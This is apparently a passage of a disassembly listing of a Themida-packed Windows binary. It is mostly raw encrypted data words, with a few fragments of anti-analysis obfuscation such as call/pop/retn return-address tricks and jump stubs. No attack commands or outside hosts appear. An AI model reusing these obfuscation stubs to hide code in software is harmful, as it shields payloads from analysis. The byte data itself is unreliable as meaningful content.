0D5A729D7h, 3B4227D6h dd 3D64190Eh, 64D0DE94h, 0ECEE9FE8h, 25576Bh, 0C4690000h dd 300E1D6Ch, 0B353E20Ah, 1C069FCAh, 0A729DB79h, 0F973FF6Fh dd 6218654Ch, 0ECF7BACFh, 0EC3E6Bh, 86900000h, 2AC7DE9Fh dd 6C5EEF48h, 0DE683511h, 534AD3Eh, 8736352Ch, 0F695DDA0h dd 72816E0Fh, 3EDEC594h, 0CCA2D7ADh, 304D38D5h, 2A25B0C3h dd 0DEAAE753h, 2E18AD3Eh, 0C49F564Fh, 6C11F895h, 70E8C2C6h dd 0E2AD3EE3h, 473292EBh, 1D0E1D60h, 3EDA7421h, 41F920ADh dd 206FC926h, 0DD033313h, 0A6D3B353h, 6B12FC89h, 550C3BF2h dd 6522AECh, 2693F33Bh, 0BFAC3B8Ah, 3E67160Eh, 3965DF97h dd 65AD40B3h, 4A2437B4h, 0AD3C630Bh, 999AE089h, 0A09306ECh dd 0E7C7C4DDh, 0AD3C62AAh, 3FF63FEAh, 0ADD0C24Dh, 7AE6267h dd 1A55CFAh, 1BCh, 0E9DBA293h, 71532A1Eh, 0EBDDA086h, 77592420h dd 0F5D7A68Ch, 0C4A64036h, 432CD7B9h, 0CCBF4A3Ah, 3934DFB1h dd 0DFCC4444h, 240FB2DFh, 1B73E2A7h, 0F7D9A486h, 9278210Ch dd 72BB72EBh, 6CC4A412h, 0A300E1Dh, 0CAB353E2h, 0FEA7D6BBh dd 9B871E57h, 0A729DBFAh, 9A0DDC8h, 64FD806Ch, 3B6F0373h dd 0AE2ABA34h, 6BECF7D9h, 0BE1Dh, 0CC831000h, 126B5F6Bh dd 73A82075h, 9F86CDBBh, 610DCAF8h, 0F53C88C1h, 92EBE16Ch dd 2F0F1C0Bh, 0AD3E7962h, 0B71BE85Eh, 6EB947DEh, 938973BBh dd 45AD3E6Fh, 26574F4Ah, 9B927D4Fh, 3BB645E2h, 0B9E1B427h dd 84E37EB4h, 704EDD2Ch, 0B352F7BEh, 0F38A7F16h, 43FD4A3Ah dd 0FCF7F7F4h, 98AD409Dh, 0E1D38271h, 6B612C9Ch, 9D933E12h dd 80F9FA07h, 0DBEEh, 0FE7F7400h, 6E0F038Eh, 7D731Eh, 74090590h dd 0FA836914h, 63BD2B8Ah, 0D1BC0C71h, 5823A5D8h, 0D1BC0C71h dd 6D25A7D6h, 0FD78680h, 0D0C5A724h, 0D9A48682h, 0BDB9AAF7h dd 0AD3EDEA0h, 823E4DFCh, 2A886D57h, 2D1833FBh, 86D28050h dd 0C451DE9Fh, 5ACB5C8h, 0B097322Dh, 1510FBCDh, 0B29D6868h dd 0C6D5D2CBh, 3EDEA9E8h, 725AEBADh, 320C620Bh, 0DC594266h dd 3B316860h, 0BB721B42h, 5D2007A2h, 5008D44h, 2C4AF178h dd 11403EB8h, 837E247Bh, 1D979FD6h, 0FB826D85h, 7EF9C89h dd 3FE198FCh, 0E0C786ACh, 7D69049Dh, 600F300h, 7E24B057h dd 435E1445h, 7A92228Ch, 0EF9AEA93h, 4ADC85F8h, 18h, 86372468h dd 325FDBA2h, 2EAD3EDFh, 3EDF0150h, 7DE693ADh, 8515A6CCh dd 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h dd 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 6C346804h dd 0C890000h, 81E18924h, 4C1h, 4E98300h, 5C240C87h, 63D568h dd 241C8900h, 1E0C68h, 240C8900h, 1ABB9268h, 241C8B06h dd 8304C483h, 248904ECh, 24048124h, 4, 8B85059h, 1000000h dd 8B1889C8h, 0C4812404h, 4, 592434FFh, 0FF04C483h, 835B2434h dd 89E904C4h, 63FFFB77h, 795FE196h, 0EBF02A8Eh, 0D8B31B91h dd 1AD0EEB8h, 0FFC50306h, 1137A4E0h, 74AC0976h, 7F75C114h dd 71875B4Dh, 87422862h, 66F54474h, 23C14419h, 4EA52028h dd 79CB5229h, 78CC2346h, 0FBCB0970h, 0C8D8D12h, 89061AD2h dd 1511AD95h, 218D8906h, 9061527h, 1503CD85h, 0CD85C706h dd 98061504h, 100005Eh, 151D558Dh, 1585C706h, 61511h, 66000000h dd 0FF3A98BBh, 150009B5h, 2DB58906h, 0FF06150Ah, 1502C995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 6ABF724Bh, 0BD8B21AEh, 6152665h, 95FF006Ah db 21h, 2Eh, 15h ; --------------------------------------------------------------------------- loc_5D6C3B: ; DATA XREF: Themida_:0057B784o push es mov eax, eax jmp short loc_5D6C8D ; --------------------------------------------------------------------------- dd 0D7A1999Ch, 0CEC20178h, 4436A995h, 864683Ah, 171CB81Bh dd 52E3D057h, 4B18DED4h, 0B1F2947Fh, 4948A1B0h, 6C4F38E6h dd 0F6829602h, 697FB625h, 9B1FD67h, 75CE074h, 0FB0A879Ch dd 555F6D05h, 2A3DA358h, 29CB63CDh, 0BB5F5383h db 0B3h ; --------------------------------------------------------------------------- loc_5D6C8D: ; CODE XREF: Themida_:005D6C3Ej lea ecx, [ebp+61AD318h] push 0 push edx call sub_5D6C9E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6C9E proc near ; CODE XREF: Themida_:005D6C96p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5D6C9E endp ; --------------------------------------------------------------------------- dw 0C1FBh dd 6E9D5h, 77110000h, 0FE9983CFh, 27218D89h, 0AFBB0615h dd 8B0D1E4Dh, 15224995h, 0CD85C706h, 18061504h, 60000073h dd 8698D8Bh, 85010615h, 6150289h, 1585C761h, 61511h, 8B000000h dd 15113195h, 39B5FF06h, 6A061523h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2D68C352h dd 95FFC12Bh, 61502C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 47C35747h, 37B60C89h, 95FF006Ah, 6152E21h dd 2BEBC08Bh, 0BAC55451h, 5E53D47Dh, 0EDBD1A0Fh, 0DF6B3C38h dd 7AD49E51h, 5A1C0D7Fh, 90F8AE63h, 660FDA53h, 0BE682420h dd 8E3E84D9h, 8BDC27E1h, 850F53C0h, 16h, 11E9h, 9EAF5700h dd 0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 835A6987h, 1508F5BDh dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 3FCB8C0h dd 85890000h, 6151385h, 0AA9E9D8Dh, 0D3FF0617h, 0BD83585Bh dd 61503ADh, 50177400h, 3FCB853h, 85890000h, 6151385h dd 0A78D9D8Dh, 0D3FF0617h, 0C6B2585Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 12C35747h, 3EA524BBh, 0C08B973Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h dd 0B70F227Ch, 0B5BD83D2h, 106152Dh, 87840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 4A5C35C3h, 8E0F70DAh, 2, 0BD83D78Bh, 61514F5h, 52850F00h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 652BC355h, 0FF0CE4BBh, 0BD83F509h dd 61509CDh, 92840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0CCA3C350h dd 0D3807C8Ch, 478E954h, 890F0000h, 17h, 12E9h, 0FDA90A00h dd 97D4D153h, 0D758598Ch, 4DE38159h, 30DC51h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0FCB2C357h, 7D6A2CFFh, 96771284h, 8DD28166h dd 56006A49h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 5EADFB32h, 0DE873621h, 3D34C761h, 54DAB8B4h dd 773277B4h, 0DE6C78EAh, 0D636F9C0h, 4E36CAF0h, 113277B4h dd 347C78E2h, 36236EB6h, 0DAE051BBh, 4F772E31h, 132D1B2h dd 5732DE5Ch, 946CCEB4h, 7346FEEAh, 73763AB0h, 5732C5B0h dd 9464A8B4h, 585D61B3h, 8E85B411h, 0E83D0D4Bh, 5202076Ch dd 575877B4h, 573153E3h, 812DDB4h, 2BBBB177h, 13B37390h dd 5724BF90h, 75DDB4h, 6FACE77h, 51DAA03Eh, 0F732BBB4h dd 76CCE64Fh, 0CCE6448h, 57329FE1h, 0D66FBBB4h, 4DE75259h dd 51B8E1B2h, 0D63277B4h, 529E46Fh, 55B9D280h, 0DD32EEB4h dd 2321D4Ah, 5732B85Ch, 946FFDB4h, 735E67E9h, 7376F6B0h dd 5732A3B0h, 946798B4h, 11188223h, 97B9826Dh, 0BF61BBDEh dd 5732DDB7h, 0CF1B594h, 53162B3Dh, 5316FF35h, 5732DDA2h dd 35F1BDF7h, 45DAEA3Ah, 9032BBB4h, 0A24D8AEh, 0C4DD7D18h dd 0CFDF6A14h, 0BA3EC696h, 710A6705h, 0C7688046h, 5732645Dh dd 0D44180B4h, 6A9F5569h, 1FCE1B70h, 455F816Eh, 0DEEC852h dd 8FB9BDE4h, 57587ED5h, 57319FE7h, 0C12BBB4h, 0BBB8677h dd 13B3EA90h, 57267390h, 471BBB4h, 0D654D077h, 5848AE57h dd 0A9163BB5h, 0FE004BBh, 0BF64DDDEh, 5732EEB7h, 9F12994h dd 5316CF3Dh, 53169935h, 5732EEA2h, 0D4F121F2h, 5B37ED20h dd 3D32DDB6h, 54DABDB4h, 773277B4h, 0DE6978EFh, 0D636F9E8h dd 4E36CAF0h, 143277B4h, 0AFD378E7h, 0A4166479h, 31571934h dd 5FB9A03Fh, 0BF62BBDEh, 5732DDB7h, 0FF1B694h, 5316333Dh dd 5316FF35h, 5732DDA2h, 0C6F1BEF4h, 58520B96h, 5732B03Bh dd 573735B4h, 50B6EEB4h, 0FDC4880h, 3653DBD4h, 1FB9BBD5h dd 5BBAE148h, 583277B4h, 5732BD3Eh, 57B7D2B4h, 5832EEB4h dd 5732743Ch, 0F5DC3BB4h, 5732DC0Ch, 13284B4h, 5732745Ch dd 946C9BB4h, 734654EAh, 73766FB0h, 57326AB0h, 9464FDB4h dd 1A5C6A36h, 0F985AC1Ah, 3152C750h, 3D9D4A35h, 0ED53233Fh dd 7BE7286Eh, 376027E4h, 573230BBh, 46DADDB4h, 0D232EEB4h dd 7332A53Dh, 9D1CC9FCh, 53C66126h, 0CA94E30Dh, 663D16EDh dd 1789DDE7h, 0F68866Eh, 3116E23Dh, 3141D40Eh, 57586238h dd 573135E5h, 0E12EEB4h, 1BBB2E77h, 13B3BF90h, 5726D990h dd 673EEB4h, 0E83D5477h, 53F34D6Fh, 561C58BBh, 5758EEB4h dd 57319FE1h, 0A12BBB4h, 3BBB8077h, 13B3EA90h, 57257390h dd 277BBB4h, 0F22FB577h, 573407A9h, 6B9A77B4h, 4B68FC4Fh dd 32B7EDh, 5732ED5Ch, 946D57B4h, 734E32EBh, 73765CB0h dd 5732FAB0h, 946530B4h, 0BDB34E54h, 50AA48F3h, 585AD734h dd 57336631h, 132D1B4h, 5732DE5Ch, 946CCEB4h, 7346FEEAh dd 73763AB0h, 5732C8B0h, 9464A8B4h, 0D6549439h, 0DD7E9D66h dd 564B566Ch, 0B3D16FD2h, 57CDF692h, 58B2BBB4h, 57320436h dd 63284B4h, 5732745Ch, 946B9BB4h, 737E54EDh, 73766FB0h dd 57326FB0h, 9463FAB4h, 7E5945Fh, 0BBEE5584h, 0B4B20C18h dd 0E7B77CE5h, 5634C760h, 3D32EEB4h, 54DA27B4h, 7732BBB4h dd 0DE6A1EECh, 0D636CAF0h, 413653F0h, 1732BBB4h, 8B771EE4h dd 57220750h, 0C9BD77B4h, 0E564703Eh, 0D0E51BD7h, 90BAB9ABh dd 0DCDBCD3Bh, 3D32BBB4h, 54DA8FB4h, 7732EEB4h, 0DE68B4EEh dd 0D6369FE0h, 4236F9F0h, 1532EEB4h, 8943B4E6h, 8D5800Eh dd 577A34F3h, 0D33DEEB4h, 573277B1h, 0CD4A530Eh, 2BF95DA2h dd 0A5F96FEDh, 3174A33Eh, 0A839C237h, 571A59BBh, 0B284EEB4h dd 8382F273h, 5733BDAEh, 5758DDB4h, 573106E1h, 0A1277B4h dd 3BBBE677h, 13B3D990h, 5726EA90h, 27777B4h, 47A7E77h dd 5732D65Ch, 97EC62B4h, 0B3856F5Eh, 610A7CDFh, 31EFB20Eh dd 0D769B5AFh, 198B187Fh, 0DA74BBB7h, 4DE80731h, 708F63B2h dd 6C346D6Dh, 6735CF4Ch, 10FB0CBBh, 0DE3D1B5Fh, 573277B2h dd 20897835h, 3160FAEBh, 0EE792C35h, 0E28FF4EFh, 5634AE99h dd 576559BBh, 50DBEEB4h, 443277B4h, 0EB44C203h, 51DBF1CCh dd 8E32EEB4h, 8D4B24B1h, 0A28F38F9h, 5734C8A0h, 57016BBBh dd 50DB77B4h, 1F32BBB4h, 58736974h, 0EAB18E53h, 51277E79h dd 63B6B4B4h, 0BF32DDB4h, 5732EEA5h, 0C4A83322h, 84685709h dd 1FB916A1h, 1F799DB7h, 71E4F7F7h, 57DA52EFh, 89B9DDB4h dd 573F60BBh, 0E95277B4h, 765519D3h, 10FD1F35h, 0D4538121h dd 421FC209h, 0D23DBAB2h, 5732DDD7h, 0BF67EEDEh, 573277B7h dd 0AF1E694h, 5316B13Dh, 5316AA35h, 573277A2h, 0DBF1EEF1h dd 3D6F1852h, 54DABFB4h, 773277B4h, 0DE6B78EDh, 0D636F9F8h dd 4336CAF0h, 163277B4h, 0DCC078E5h, 89B91E64h, 57326F5Dh dd 4321DB4h, 5732B85Ch, 9469FDB4h, 736E67EFh, 7376F6B0h dd 5732ADB0h, 94619EB4h, 0AD6303Ch, 0BF6077DEh, 5732BBB7h dd 0DF18794h, 5316BA3Dh, 53163335h, 5732BBA9h, 0EAF18FF6h dd 999DA902h, 0E14545ECh, 3762E8ADh, 56986D5h, 5732E15Ch dd 7E9268B4h, 8F5A55EEh, 5BC8CDBh, 40B8BCA5h, 0C680D07h dd 5720537Bh, 2640DDB4h, 0A365759Bh, 42209505h, 6CBE82E0h dd 5611170Dh, 0DEC51BBh, 0EABF8D3Eh, 51286F4Ah, 8D955039h dd 4A8AE8AEh, 64494DE8h, 42257631h, 96FDF6B2h, 0B7198B5Dh dd 31DA74BBh, 0B24DE807h, 6D708F63h, 4C6C346Dh, 0BB6735CFh dd 0E983FB0Ch, 83A4F305h, 1AD4B0BDh, 0D740006h, 4F9E8D8Dh dd 1B80615h, 0FF000000h, 6A40E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0B81825C3h, 0EE06FCBBh dd 57006A1Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0F9EA435h, 0C8Ah, 68F0F00h, 81000000h, 0E402C6CAh dd 2DE8836Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 57C35141h, 4FFEA14Eh, 914C6852h, 0D0BF0F76h, 6AC08Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 58632CC3h, 702CAD31h, 0EBE38166h, 0DE9535Dh, 0BC000000h dd 0ED109B9Ah, 0D5D89E2Dh, 3EC741BCh, 0F5BD835Ah, 61508h dd 0BD830975h, 61503ADh, 50197400h, 0B8C08B53h, 3FCh, 2A18589h dd 9D8D0615h, 617AB05h, 585BD3FFh, 3ADBD83h, 74000615h dd 0B8535017h, 3FCh, 2A18589h, 9D8D0615h, 617A7A6h, 585BD3FFh dd 6ADF8B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B2DC356h, 7A8D8DC0h, 0E9061ADCh dd 0Bh, 0F022BD61h, 5A8D3A53h, 89A8484Ah, 1527218Dh, 0EC38006h dd 4CD85C7h, 6B400615h, 0B8660000h, 85C787E6h, 6151115h dd 0 ; --------------------------------------------------------------------------- pusha cmc mov ebx, 6A45E9DFh popa push dword ptr [ebp+61523E1h] mov eax, [ebp+6150A69h] call dword ptr [ebp+61502C9h] push 0 push edi call sub_5D768D and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D768D proc near ; CODE XREF: Themida_:005D7685p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5D768D endp ; --------------------------------------------------------------------------- db 6Fh, 9Fh, 0DCh ; --------------------------------------------------------------------------- mov byte ptr [edx+6Ah], 0 call dword ptr [ebp+6152E21h] mov eax, eax jmp short loc_5D772A ; --------------------------------------------------------------------------- adc al, 19h jmp dword ptr [ebx-3] ; --------------------------------------------------------------------------- db 0D5h dd 0BD1B2B0Fh, 597F66A4h, 0EC11C499h, 0FE7193AEh, 0D080959Fh dd 0AEF161D2h, 8AC03EFEh, 3487B6FDh, 6CA03CBFh, 0B226667Dh dd 58E24713h, 0DEAE1156h, 0D6FBCD32h, 0F7BFB5F1h, 455A966Ah dd 0DE55DD3Eh, 8C1C9FAFh, 5352B0ACh, 0A1B4E01Ch, 0BBC41B24h dd 9FD30466h, 43DE2110h, 0A6D7AF86h, 0F220A487h, 0F4F69365h dd 7F905406h, 7DF8F143h, 4207F29Ah, 15F4DB56h db 46h, 72h ; --------------------------------------------------------------------------- loc_5D772A: ; CODE XREF: Themida_:005D76ACj jmp loc_5D7748 ; --------------------------------------------------------------------------- db 0D4h dd 14939C9h, 7C809Eh, 4 dup(0) ; --------------------------------------------------------------------------- loc_5D7748: ; CODE XREF: Themida_:loc_5D772Aj jmp loc_5D84D2 ; --------------------------------------------------------------------------- push 61ADEB6h jmp loc_581882 ; --------------------------------------------------------------------------- push 61ADFC1h jmp loc_581882 ; --------------------------------------------------------------------------- push 61AE14Ch jmp loc_581882 ; --------------------------------------------------------------------------- push 61AE2C6h jmp loc_581882 ; --------------------------------------------------------------------------- push 61AE477h jmp loc_581882 ; --------------------------------------------------------------------------- push 61AE698h jmp loc_581882 ; --------------------------------------------------------------------------- push 61AE826h jmp loc_581882 ; --------------------------------------------------------------------------- push 61AE946h jmp loc_581882 ; --------------------------------------------------------------------------- db 92h, 34h, 0C4h dd 0F7F0231h, 0CC3CB966h, 676FA29h, 0D242C06Fh, 6C276443h dd 28F79E0Eh, 71BE57C7h, 5DD2A313h, 3C876EDEh, 2F6EB312h dd 8C0D169Ch, 45864FB0h, 53C34049h, 274D6A63h, 6641C672h dd 4A75ABE0h, 27848565h, 11727FB7h, 4D8AD4A1h, 8AE08ACDh dd 770C2BEFh, 31B11686h, 48F8A248h, 4B7F4618h, 12169BB4h dd 6FAE1501h, 181693AAh, 8E1B2EA1h, 309DBD76h, 7A108003h dd 42CAh, 0BABDE00h, 0F04003DBh, 8D169BF5h, 0CA947ABCh dd 93F1D6FBh, 0E6849516h, 93F196B7h, 0FA6AC816h, 0D141A7BCh dd 8837DEE5h, 9548EF5Bh, 0BD1D49B4h, 0C9ECE99Dh, 0C838B8F0h dd 0DAE4C3EFh, 0C81430h, 24280000h, 525F57C7h, 970764F0h dd 9E89AE9Fh, 36CE2DACh, 273C7A55h, 4B35CC4h, 4B3AD32h dd 75F6EB2Bh, 291C3905h, 0D1B7BC00h, 5471FCEEh, 10861A38h dd 9263D330h, 68AE1E9Dh, 8FF23E02h, 926171Fh, 0F7CA8E35h dd 0E2B3169Ch, 0A3D3A313h, 8B17969Bh, 0F199B626h, 9A57D86Bh dd 0C5D61088h, 6DF2E3F9h, 8AEB4C55h, 0A79A3FAh, 92BD7724h dd 68AE1EA1h, 0B436F397h, 82B144h, 0C5980D90h, 654FB1BDh dd 0B3DDDh, 0EC5CDA00h, 27971A09h, 0F464E14Eh, 3EAE1221h dd 0FA6AC857h, 940F7C1Bh, 60CFA616h, 99866FDFh, 55CAAB1Bh dd 448F66D6h, 2C66AB1Ah, 8405169Ch, 56C624B8h, 0B21370BFh dd 86F2CE13h, 0B39CAD10h, 0BAB56E2h, 0F04003DBh, 8D169BF5h dd 9F947ABCh, 3C8EA919h, 521CCDB3h, 0B5D8C3A7h, 421693A9h dd 0DC61E8D7h, 7E9DBD74h, 0B54DB535h, 2BE9587Eh, 0B37D3FCh dd 0DCh, 0A3BE1441h, 7047B73Bh, 0FF834C06h, 99B6878Fh dd 0C72449F1h, 0F0525F57h, 8FC89680h, 4E09AF7Ah, 8635D5FAh dd 1086F076h, 8BA8096Ah, 817EB828h, 86FEFD24h, 80AF8010h dd 3A0C99BEh, 898D129Fh, 1E9D92E1h, 0B8A668AEh, 8660C40Dh dd 0C896A710h, 8660D4FDh, 0E4869710h, 5AE90AAEh, 10866037h dd 0F4CAE5B6h, 9C978951h, 0D2A37416h, 0DAE414E4h, 8B3CAF6Bh dd 617D4E10h, 7DC25874h, 92783F2Dh, 930367CCh, 5DCD2D02h dd 0BD7F35C0h, 3490A6B1h, 0A32h, 7C1989E5h, 43D242A7h dd 542191ECh, 0CE959DFh, 52239317h, 0D75B5655h, 1EA18E67h dd 0DC58C7AEh, 199A896Ch, 0D3FBCCA9h, 9C2D2970h, 2913D416h dd 8856C624h, 0B654C42Bh, 7BEB48D7h, 17AEB09Ah, 1086F2F2h dd 5AC2A879h, 8757C724h, 0F2ABEE55h, 62C51086h, 0E2614EF2h dd 0D4565D72h, 9B888664h, 0C0308C18h, 0E0A006EFh, 83B0AEB0h dd 0CBFA9000h, 169C1F57h, 0F61BAAB4h, 751693DCh, 0C1D2C6A4h dd 0DC2E6ED5h, 5ED91693h, 4C4FDA6Fh, 0D2D59DBDh, 0D3000006h dd 0D848A809h, 1D44E1DEh, 0E01693D4h, 0ABF71BCFh, 0AE03DB0Bh dd 0E64DE44Ch, 12C0B370h, 8DE8F93Dh, 0B24191Dh, 0B2FFDD5Fh dd 0D9B6E050h, 0B0E656DAh, 0F0902BDFh, 8D169CD7h, 2E91A2BCh dd 0E38778BEh, 783CA29h, 0C56C1693h, 12CA2F1Ah, 7E529DBEh dd 66000006h, 3DB0BABh, 9C1AEC40h, 76A07116h, 93DACE0Fh dd 33A32016h, 67AA1903h, 61693DAh, 0E7EFE35h, 5A7F4608h dd 211693DAh, 8D407910h, 923DF456h, 0BD4632B7h, 59DFD49Dh dd 64DFADE9h, 1693D23Dh, 2AC0EFC0h, 634FAh, 5CB20E00h dd 0ADB1E195h, 9BFB3216h, 4003D916h, 1693F819h, 8737D3E4h dd 99DDE8B6h, 169A8916h, 992C3262h, 84B63CF1h, 0FD6BAB7Ch dd 8E350939h, 8EA36717h, 28895566h, 90BA5BCBh, 6AAC1CA3h dd 0AE3D3F9Dh, 3E11C288h, 0D05CDF4Ch, 512C0373h, 1F9624C0h dd 0A7AD151Fh, 70000008h, 60CFA616h, 8FA471E1h, 48D7BE2Eh dd 869D78E8h, 0CAE1B424h, 0FC6CCEC1h, 35A50A19h, 171D360h dd 0CC3CBF74h, 15B09E29h, 169C13CCh, 4F4EEEAFh, 0C382E362h dd 1086F29Eh, 87634C5Dh, 7DB9298Ah, 9B2A4BEBh, 1086F276h dd 330B24F5h, 0A1CF4990h, 5B633416h, 3E824B7Ah, 0CF694EBEh dd 5934D626h, 9CA8615Ch, 72D35716h, 9CA88ED3h, 735C6D16h dd 7B654A43h, 0D8BD2D8Eh, 3D0131D2h, 9CA84B86h, 35613216h dd 0E75EBF3Ch, 169CA8A2h, 0DF667849h, 169CA8BAh, 0B65F7041h dd 2892C394h, 0F73A6C19h, 0F115A813h, 298B169Ch, 1694209Dh dd 0B09F70A6h, 0CFA68986h, 4373E360h, 6DDD5859h, 7B65429h dd 169CE1C6h, 3191A2ACh, 0FAD545A5h, 9136A910h, 0FC33C232h dd 2D2F0F7Fh, 0E1C24C28h, 7D286E8Dh, 169F8954h, 0AA640617h dd 9E79024Bh, 65D55416h, 39C54031h, 724B4BBBh, 0F79E595Dh dd 7B2A1BC8h, 7CB99E54h, 0CA0FB690h, 0B1169F5Fh, 0EE6BD7E0h dd 9EF3291h, 0BD8E169Fh, 5631C592h, 5B8B4274h, 910182AFh dd 150C004h, 4FDC0000h, 4571E162h, 1271A248h, 89AA74A2h dd 5DCEBC2Ch, 0CC276FDFh, 1086F285h, 0AEE858DBh, 0E571D3E0h dd 52381787h, 56689868h, 0A1CFAAEFh, 56EDEF16h, 169C2F33h dd 44DF8BAh, 0E7169C2Fh, 0AD11F9D6h, 266A019Ch, 7B79B7D0h dd 72DF7h, 1C8CEA00h, 0D747AA79h, 2494F13Eh, 0EE5EE251h dd 2A9A1807h, 645F4C4Bh, 30FF9606h, 69B65FCFh, 25FA9B0Bh dd 14BF56C6h, 10567B4Ah, 5415169Ch, 57C724E8h, 0E45F7D5Fh dd 1086F2BDh, 8E7B6F40h, 4AD9BC2Ch, 7A647AEAh, 86F286CBh dd 0ED5DD810h, 5B6CD4A9h, 0EC4FE4AFh, 0A0B5997Ch, 0BE3FFFDAh dd 0C19694Eh, 9A3A8BACh, 84AF61D1h, 5DC525E6h, 0D1147591h dd 53436CAAh, 2A6CDC5Eh, 248ACB8Fh, 0C45BC5A4h, 4E8138D2h dd 0EC89F979h, 0A91334B9h, 7BC97h, 0B5D00000h, 0BCh, 57C724D1h dd 3DC92A87h, 724B4BBBh, 2F64595Dh, 80AE5CCCh, 8702D805h dd 46792010h, 3920281h, 0E744D02Ch, 614E3F77h, 78D9545Dh dd 86E284CDh, 79566710h, 0A3B9A391h, 7CBA2A8Eh, 0E2FF2283h dd 0AD7E1086h, 0F8920266h, 86E281CDh, 0E454D710h, 0D040C1B2h dd 4BAAE9E6h, 31D8DBDBh, 37A2657Eh, 4DBD3F88h, 624F84A8h dd 65276FDFh, 86F2BBDEh, 5E714210h, 71FD7FACh, 8A979F0Fh dd 8F80B626h, 9A878FA0h, 0CD6CAA1Ah, 6ECEF9E4h, 8E9A17FEh dd 1E1086FAh, 62A71E40h, 91086FAh, 0D1635238h, 5F97A825h dd 0FFFFFE6Fh, 69D9545Dh, 0F2ABEE55h, 41521086h, 0AB571A9h dd 0D1000003h, 5F57C724h, 86F2C9E4h, 0C939BF10h, 0E858D4CDh dd 745BC2AEh, 0E3CA316Fh, 2E9E220Fh, 0B67317E8h, 330C535h dd 575F480h, 23133C11h, 86F20DA0h, 98008310h, 72BB7832h dd 989EB187h, 203E6E12h, 0A1DF7CA5h, 13949D16h, 0F09A73A3h dd 51EFFD0h, 62B7D016h, 57CF054h, 1B9B0000h, 0D455CAABh dd 23A29164h, 0EB4DE2B3h, 25859A7Bh, 0C0CBE0B5h, 18FD6DCDh dd 6134A40Bh, 730272D2h, 26CF3FBCh, 0CF12B19Dh, 0AE169C16h dd 0C7244FEDh, 0F0525F57h, 9B980864h, 9C71A515h, 0EE4DE2B3h dd 2A88977Eh, 68AE1E9Eh, 657EB897h, 8CC99505h, 71E5C240h dd 907E6C33h, 0BA0DC0F9h, 562DD038h, 620043D0h, 0BF40714Dh dd 0E5D09B4Fh, 97A8CB58h, 238E0h, 56D5DE00h, 2BDFB0E6h dd 0DE0EAB07h, 0B6E1F6D8h, 0D34B35F1h, 629D08E2h, 0EB0F751Bh dd 4DB09944h, 0D3969807h, 211h, 0C20EABE7h, 0DEE0CF3Fh dd 86F22267h, 0BEF8C910h, 75F10437h, 7B62CD0Fh, 45B53A77h dd 1F8E7C51h, 96971D9Ah, 1E822h, 0EABF600h, 104500DEh dd 0E31086F2h, 0B9FAE4D2h, 0F3CCCA3Ah, 0F173AC17h, 95FC0F75h dd 1D9A1F2Ah, 0C2229697h, 0F6000001h, 0DE0EABh, 86F21445h dd 8D6E710h dd 35D545ABh, 9B1C15F7h, 7812EB2Bh, 75F1124Dh, 8934DB0Fh dd 971D3DC0h, 197C396h, 24D70000h, 525F57C7h, 0C6F481F1h dd 49FCC2F2h, 169BFB11h, 0E9F3CBDCh, 93FB375Ah, 5E5B616h dd 0FB61AC07h, 0A30E1693h, 27A00D3Ch, 4F289DBDh, 4000000h dd 73E3624Fh, 0E7494A43h, 591D9377h, 0F83EAE0Dh, 0AF162807h dd 169BF583h, 0FA6ACDBAh, 0F63861E4h, 0F2C31693h, 335AD9DDh dd 0BC1693F6h, 2B886A55h, 0F7B654C4h, 9DBD1E72h, 2A9A1F14h dd 0CB7713ECh, 0D1h, 1EE0D401h, 835C2805h, 624F33E7h, 8F7C6EDEh dd 697ABC2Ch, 8BFB7D09h, 17999AA4h, 0B99E6FA7h, 0E837E6F4h dd 0E14B3F14h, 46F7DAFBh, 39F47CF6h, 846649B9h, 82B42487h dd 0D3A21271h, 86369EEEh, 0C1319210h, 0E82D2A34h, 5E83420Dh dd 1D10866Ah, 0EF8A2B0Ch, 77477119h, 77FF0C4Fh, 23B285F5h dd 91AD8258h, 0EF3291CBh, 8E108697h, 67AF1FA1h, 0F2D1B996h dd 169EFFA4h, 397A4455h, 77AC49B9h, 940467F3h, 0FB82ADA2h dd 0B7D2F6CCh, 5B1DA58Fh, 0BC000003h, 0EC43D242h, 0AB781D8Dh dd 0E43BDA4Ah, 0B2811484h, 9615E050h, 0A8189A15h, 61D156CDh dd 0AD1D9F94h, 68D85BC8h, 0B1143A8Dh, 169C1468h, 24EA5213h dd 46B63AC6h, 0C5507F50h, 0F89D0D6Eh, 0E3624F34h, 0A04A4373h dd 76A01073h, 0E78EFE7Dh, 86F282CAh, 4D995D10h, 273C7AEAh dd 6D6254C4h, 8B516D42h, 6155C526h, 860D2774h, 4867CA4Eh dd 18ACF76h, 0A0711086h, 8CBDBCAh, 0CBE8169Bh, 0CFBDF969h dd 930E2D74h, 0D0FFD016h, 